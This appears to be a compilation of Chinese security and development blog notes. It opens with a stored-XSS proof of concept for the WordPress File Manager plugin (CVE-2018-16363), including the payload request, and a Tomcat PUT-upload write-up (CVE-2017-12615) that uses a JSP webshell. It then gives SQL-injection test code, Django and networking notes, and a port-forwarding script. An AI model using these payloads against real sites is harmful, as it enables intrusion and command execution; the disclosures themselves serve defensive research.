CVE-2018-16363 WordPress Plugin File Manager 2.9 – storage XSS

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16363

file:file_folder_manager.php
code:set_transient( ‘wp_fm_lang’, $_GET[‘lang’] , 60 60 720 );

file:lib\wpfilemanager.php
code:var fmlang = ““;

poc:

request

[code]
GET /blog/wp-admin/admin.php?page=wp_file_manager&lang=zh_CN<script>alert(1234567890)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: wordpress_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C71f1ed8075d5a34b82548bb0a92e6b6338ecf8fba0adc57da627d55f07693220; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5aa6a4a225f40db86349342d0826a90c=admin%7C1535989327%7CKko2gM0P0FjhgEpNTIqRneg9Ky7aKaqWloRFGrsyw6q%7C5fbc26f57a4eaf15c60c5840d5fa14f296e3bb1c66e567358d761a3963d1bb82; wp-settings-1=deleted; wp-settings-time-1=1535770900; PHPSESSID=501108188d8569138517f08ba9741c92
Connection: close
Upgrade-Insecure-Requests: 1
[/code]

response

[code]
HTTP/1.1 200 OK
Date: Sat, 01 Sep 2018 15:55:34 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47316



………”;var vle_nonce = “863ad12aa7”;………
[/code]

Exploit Title: WordPress Plugin File Manager 2.9 – storage type XSS
Exploit Author: ly55521
Google Dork: N/A
Type: XSS
Date: 2018-09-02
Vendor Homepage: N/A
Software Link: https://wordpress.org/plugins/wp-file-manager/
Affected Version: < 3.0
Tested on: Kali OS
CVE : CVE-2018-16363

Related links:

Update record: http://plugins.trac.wordpress.org/changeset/1936043
EXP: http://blog.51cto.com/010bjsoft/2171087
Loophole notification: https://wordpress.org/support/topic/security-concern-6/#post-10655739
safelink:https://wordpress.org/plugins/wp-file-manager/

CVE-2017-12615【tomcat错误配置,任意文件上传】

一. 漏洞简介

漏洞名称:CVE-2017-12615  “远程代码执行漏洞”

漏洞描述:Tomcat CVE-2017-12615远程代码执行漏洞 / CVE-2017-12616信息泄漏。
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
CVE-2017-12616:信息泄露漏洞
当 Tomcat 中使用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源的 JSP 源代码。
CVE-2017-12615:远程代码执行漏洞
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

影响版本:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 – 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 – 7.0.79

漏洞评级:高危

影响范围:RT
 
 
参考链接:
CVE-2017-12615:
https://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81

二. 利用条件

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
根据绿盟最新研究在linux下也有影响,建议关闭PUT方法。

三. 漏洞测试

3.1白盒测试

开发人员检查是否使用受影响范围内的Apache Tomcat版本

3.2黑盒测试

1.首先搭建tomcat环境,需要预装下jdk,安装流程和配置参考:
http://www.ouyaoxiazai.com/soft/stgj/133/45254.html
搭建成功后,访问 http://10.74.53.11:8080/
2.开启PUT方法
安装好后,修改 C:\Program Files\Apache Software Foundation\Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false

3.然后使用burpsuite抓包把GET方法转为PUT方法写入数据,如下:

注意:PUT路径要用/结束,写入成功后,会返回201或者200,如果返回404说明没有写/

写入成功后,在服务器的 web目录,如下
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT增加了test.jsp文件

4.访问上传的木马 http://10.74.53.11:8080/test.jsp?pwd=023&i=whoami

复现参考:https://www.secfree.com/article-399.html
POC&EXP参考:
https://github.com/fupinglee/MyPython/blob/92394ff98b02c1d81361ce2d5ae9f53f527a2a6b/exploit/CVE-2017-12615/CVE-2017-12615.py?from=groupmessage&isappinstalled=1

3.3其他补充

其他

四. 解决方案

根据业务评估配置readonly和VirtualDirContext值为Ture或注释参数,禁用PUT方法并重启tomcat,临时规避安全风险,升级为最新版本;
注意: 如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
官方已经发布Apache Tomcat 7.0.81 版本修复了两个漏洞建议升级最新版。

php,python使用%s,%d修复sql注入漏洞

原以为底层%s格式化字符串和pdo实现类似,实际测试了下不是一回事。

php测试代码

//$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql = sprintf("SELECT * FROM users WHERE id='%s' LIMIT 0,1",$id);//%d 可以修复
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

web.py测试代码

import web
import MySQLdb
urls = (
    #'/', 'index' #1,2
    '/(.*?)', 'index'
)
class index:
    def GET(self,name):
        parame = web.input()
        conn = MySQLdb.connect(
        host = 'localhost',
        user = 'root',
        passwd = 'root',
        db = 'security',
        port = 3306,
        charset ='utf8',
        )
        cur = conn.cursor()
        #SELECT * FROM users where id=1
        #sqli_select = "SELECT password FROM users WHERE id = '%s'" % (parame.name) #错误写法
        #sqli_select = ("SELECT password FROM users WHERE id = '%s'",(parame.name)) #正确写法,使用元祖传给execute函数
        sqli_select = "SELECT password FROM users WHERE id = '%d'" % (parame.name) #正确写法
        cur.execute(sqli_select)
        return cur.fetchone()            
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

PDO预编译方式是分为两次发送数据,一次sql模版, 一次参数防止sql注入。

网络工程师学习笔记

网络工程师学习笔记,唉,虽然不考了,备忘下吧

CRC效验码

X的4次方 + X的一次方 + 1

1.有次方的写1,没有的写0,最高次方为4,算出4个二进制数;
2.靠左减法;(模二除法 相同为0,不相同为1)
3.把余数补后面去;

子网掩码计算:
https://zhidao.baidu.com/question/332665043.html

1.将主机数目 从十进制数转化为二进制数,二进制是N位数;
2.N位数 就是 N个1,一共8位,其余用0补全;
3.把上面的数转换成十进制,对应网段位置。

ip地址 = 网络地址 + 主机地址;
网络地址是 ip地址的一部分,是代表一个子网
192.168.1.*

二进制 逻辑计算方法

按位与:只有1和1是1,其他都是0;真 True
按位或,只有0和0是0,其他都是1;假 False
网络地址 = IP地址的二进制 与 子网掩码的二进制 (为0和255的保持不变)

广播地址 = 网络地址 (二进制 1后面的0替换为1)
子网范围 就是 网络地址 -》 广播地址

子网能容纳的最大主机数: 广播地址 0 替换为1个个数为N,2的N次方 – 2(广播地址+网络地址)

原码:0代表整数,1代表负数,的符号位,后面不变
反码:正数不变,负数符号位不变,其他后面取反
补码:正数不变,负数符号位不变,加 1
移码:符号位取反

Django学习笔记

#实例化django项目 在项目目录下执行
django-admin startproject webscan

#创建app项目 /webscan/目录执行
python manage.py startapp appscan

#加载app 在/webscan/webscan/settings.py
INSTALL_APPS中添加 appscan

#默认静态文件配置
STATIC_URL = ‘/static/’ #创建该目录 mkdir

#settings.py文件头部配置,防止中文出错、默认以ASCII码保存的,换为UTF-8
#coding=utf-8
## 配置数据库信息,配置之前使用phpmyadmin创建webscan数据库
DATABASES = {
‘default’: {
‘ENGINE’: ‘django.db.backends.mysql’,
‘NAME’: ‘webscan’,
‘USER’: ‘root’,
‘PASSWORD’: ‘root’,
‘HOST’: ‘127.0.0.1’,
‘PORT’: ‘3306’,
}
}

#初始化数据库
python manage.py syncdb #新版的是用 migrate

#第一次会提示初始化超级管理员
You have installed Django’s auth system, and don’t have any superusers defined.
Would you like to create one now? (yes/no): yes
#输入yes,账户,密码…
#如果没有提示则用 python manage.py createsuperuser 命令创建账户

#更新数据库
python manage.py migrate

#定义视图函数~/appdemo/views.py
# coding = utf-8
from django.http import HttpResponse #区分大小写…
def index(request):
return HttpResponse(u’hello world!’)

#定义访问url ~/app_pro/app_pro
from appdemo import views as appdemo_views # 引入视图
#配置url(正则,模块)
url(r’^$’,appdemo_views.index),

#启动项目
root@0535coder:~/mysite# ./manage.py runserver
#这种启动方式,可以要局域网访问
root@0535coder:~/mysite# ./manage.py runserver 0.0.0.0:8000

#自定义模块的URL路由规则
url(r’^xxs/’, calc_views.add, name=’xxs’)
{% url ‘xxs’ %}#模版中获取

#get方式获取一个参数
request.GET[‘xxs’]

#在函数传参,获取参数
def xxs(request, xxs1,xxs2):
return HttpResponse(xxs1)

#获取URL模块 传参,第一个参数与urls.py中的patterns配置关联
url(r’^xxs/$’,appdemo_views.xxs,name = ‘xxs’),
reverse(‘xxs’, args=(alert0,alert1))

#页面模版中调用url
#不带参数的:
{% url ‘name’ %}
#带参数的:参数可以是变量名
{% url ‘name’ 参数 %}

#重定向方法
HttpResponseRedirect()

#模版渲染
from django.shortcuts import render
#在app目录下新建模版路径templates,默认配置下,Django 的模板系统会自动找到app下面的templates文件夹中的模板文件。
#mysite/appdemo/views.py
def home(request):
return render(request,”home.html”)
#mysite/mysite/urls.py
url(r’^home/’,appdemo_views.home),
#mysite/appdemo/templates/home.html

#默认标题
{% block title %}默认标题{% endblock %}

#模版文件包含
{% include ‘header.html’ %}

#默认内容
{% block content %}

这里是默认内容,所有继承自这个模板的,如果不覆盖就显示这里的默认内容。

{% endblock %}

#继承页面
{% extends ‘base.html’ %}

#模版标签
def home(request):
tag = u”thinkphp -> assign!”
return render(request,’home.html’,{‘tag’:tag})
引用{{tag}}

#模版中获取当前时间
from datetime import datetime
def home(request):
tag = u”thinkphp -> assign!”
now = datetime.now().strftime(“%Y-%m-%d %H:%I:%S”)
return render(request,’home.html’,{‘tag’:tag,’now’:now})
#return render(request,”home.html”)

#app项目静态文件
放入app目录下的static文件件下,访问url/static/…

#urls.py配置name属性,模版访问url方式
不带参数的:
{% url ‘name’ %}
带参数的:参数可以是变量名
{% url ‘name’ 参数 %}

#数据库操作
from 模型名models import *
#查询所有数据
db = 模型名.objects.all()
#增加记录集
db = 模型名(字段1=”1″,字段2=”2″)
db.save()
#排序orderby
db = 模型名.objects.all()。order_by(“排序字段,升序”)
db = 模型名.objects.all()。order_by(“-排序字段,降序”)
#更新记录集
db = 模型名.objects.get(字段名=’hello world’)
db.字段名= “this is html!”
#删除记录集
db = 模型名.objects.get(字段名=’hello world’)
db.delete()

# SECURITY WARNING: don’t run with debug turned on in production!
# 项目部署时,设置为False,禁止开启调试模式
DEBUG = True

#######django遇到问题汇总#######

#web页面打印变量
from django.http import HttpResponse
使用 return HttpResponse(“qqqqq”) 即可打印到页面中去

#使用settings.py中的常量
from django.conf import settings

#使用django shell模式调试
python manage.py shell

#定义异常404页面
try:
pass
except Question.DoesNotExist:
raise Http404(“test does not exist”)

#增加同步数据库
python manage.py makemigrations
python manage.py migrate

# 最后需要本本地的扩展打包下:
Django==1.10.5
MySQL-python==1.2.5
backports-abc==0.5
beautifulsoup4==4.5.3
certifi==2016.9.26
lxml==3.6.0
pymongo==3.4.0
requests==2.12.3
singledispatch==3.4.0.3
six==1.10.0
tornado==4.4.2

# 打包命令
# pip freeze > requirements.txt

# 安装命令
# pip install -r requirements.txt

#使用admin模块

python manage.py createsuperuser #创建

#注册数据库表 到admin.py 后台
from appscan.models import spider
admin.site.register(spider)

#关闭debug模式时不加载静态资源处理
#python manage.py runserver 0.0.0.0:80 –insecure

一次转移站点备份笔记

ssh确认站点路径:/data/apps/http/htdocs/

tar zcvf data2016.zip /data/apps/http/htdocs/ #压缩站点
mv data2016.zip /data/apps/http/htdocs/ #移动到站点根目录下载

mysqldump -u root -p wangzhanmysql > wangzhanmysql.sql #导出数据库
tar zcvf sql.zip ./wangzhanmysql.sql #压缩数据库
mv sql.zip /data/apps/http/htdocs/ #移动到站点根目录下载

####################阿里云服务器配置####################

yum install httpd
service httpd start #安装开始apache服务
#默认web站点目录 /var/www/html/

yum install php
yum install php-mysql php-gd php-imap php-mbstring
service httpd restart #安装php服务,重启apache生效

yum install mysql-server
service mysqld start #安装mysql服务
#默认data目录 /var/lib/mysql/data

chkconfig –levels 235 httpd on
chkconfig –levels 235 mysqld on #添加开机自启动
chkconfig –list | grep httpd
chkconfig –list | grep mysqld #检查是否添加成功

mysql -uroot
mysql> use wangzhanmysql
mysql> source sql.sql
#导入mysql数据库

tar -cvf data2016.tar
mv data2016 /var/www/html/ #移动到网站目录

mysqladmin -u root password “@root@”#修改mysql密码和程序连接数据库文件

#安装WEB安全狗
wget http://down.safedog.cn/safedog_linux64.tar.gz
tar xzvf safedog_linux64.tar.gz
cd cd safedog_an_linux64_2.8.15799/
chmod +x install.py
./install.py

#禁用本地危险函数
vi /etc/php.ini
disable_functions = exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,chroot,getcwd,scandir,delete,rmdir,rename,chgrp,chown,copy,file,eval

python实现端口转发

之前一直用花生壳做外网端口转发,但是花生壳是不稳定的噢,一次同事虚拟机用的NAT模式,虚拟机的IP地址相当于内网的内网了,内网C段是无法直接访问的,比如#有A、B、C三台计算机,A、B互通,B、C互通,但是A、C不通,通过端口转发解决A与C的互通问题,网上找到有人写的代码,加了一些注释直接用了,或许在某些场景下可以有更复杂的应用也不好说,代码如下:

本文代码来自:#http://www.tuicool.com/articles/VRNzaq
socket相关学习:http://yangrong.blog.51cto.com/6945369/1339593/

也可以通过这个端口转发做监控噢、

# -*- coding: utf-8 -*-
import socket
import threading

# 端口映射配置信息
CFG_REMOTE_IP = '192.168.23.133' #要转发的IP
CFG_REMOTE_PORT = 80 #要转发的端口
CFG_LOCAL_IP = '0.0.0.0' #连接IP白名单
CFG_LOCAL_PORT = 5210 #连接的端口号

# 接收数据缓存大小
PKT_BUFF_SIZE = 2048

#调试日志封装
def send_log(content):
    print content
    return

#单向流数据传递
def tcp_mapping_worker(conn_receiver, conn_sender):
    #开始消息循环
    while True:
        try:
            #接受数据
            data = conn_receiver.recv(PKT_BUFF_SIZE)
        except Exception:
            send_log('Event: Connection closed.')
            break
        #没有数据时,打印信息
        if not data:
            send_log('Info: No more data is received.')
            break
        #传递消息
        try:
            conn_sender.sendall(data)
        except Exception:
            send_log('Error: Failed sending data.')
            break

        # send_log('Info: Mapping data > %s ' % repr(data))
        send_log('Info: Mapping > %s -> %s > %d bytes.' % (conn_receiver.getpeername(), conn_sender.getpeername(), len(data)))

    conn_receiver.close()
    conn_sender.close()

    return

#端口映射请求处理
def tcp_mapping_request(local_conn, remote_ip, remote_port):
    #建立TCP流
    remote_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        #连接要转发的ip和端口
        remote_conn.connect((remote_ip, remote_port))
    except Exception:
        local_conn.close()
        send_log('Error: Unable to connect to the remote server.')
        return
    #把args参数传给tcp_mapping_worker函数做并发处理,开始线程
    threading.Thread(target=tcp_mapping_worker, args=(local_conn, remote_conn)).start()
    threading.Thread(target=tcp_mapping_worker, args=(remote_conn, local_conn)).start()

    return

#端口映射函数
def tcp_mapping(remote_ip, remote_port, local_ip, local_port):
    #建立TCP流
    local_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #绑定IP和端口
    local_server.bind((local_ip, local_port))
    #指定挂起数,开始监听端口
    local_server.listen(5)
    #打印日志
    send_log('Event: Starting mapping service on ' + local_ip + ':' + str(local_port) + ' ...')
    #开始消息循环
    while True:
        try:
            #接受消息并返回
            (local_conn, local_addr) = local_server.accept()
        except KeyboardInterrupt, Exception:
            local_server.close()
            send_log('Event: Stop mapping service.')
            break
        #把args参数传给tcp_mapping_request函数做并发处理,开始线程
        threading.Thread(target=tcp_mapping_request, args=(local_conn, remote_ip, remote_port)).start()
        #打印日志
        send_log('Event: Receive mapping request from %s:%d.' % local_addr)
    return

# 主函数
if __name__ == '__main__':
    tcp_mapping(CFG_REMOTE_IP, CFG_REMOTE_PORT, CFG_LOCAL_IP, CFG_LOCAL_PORT)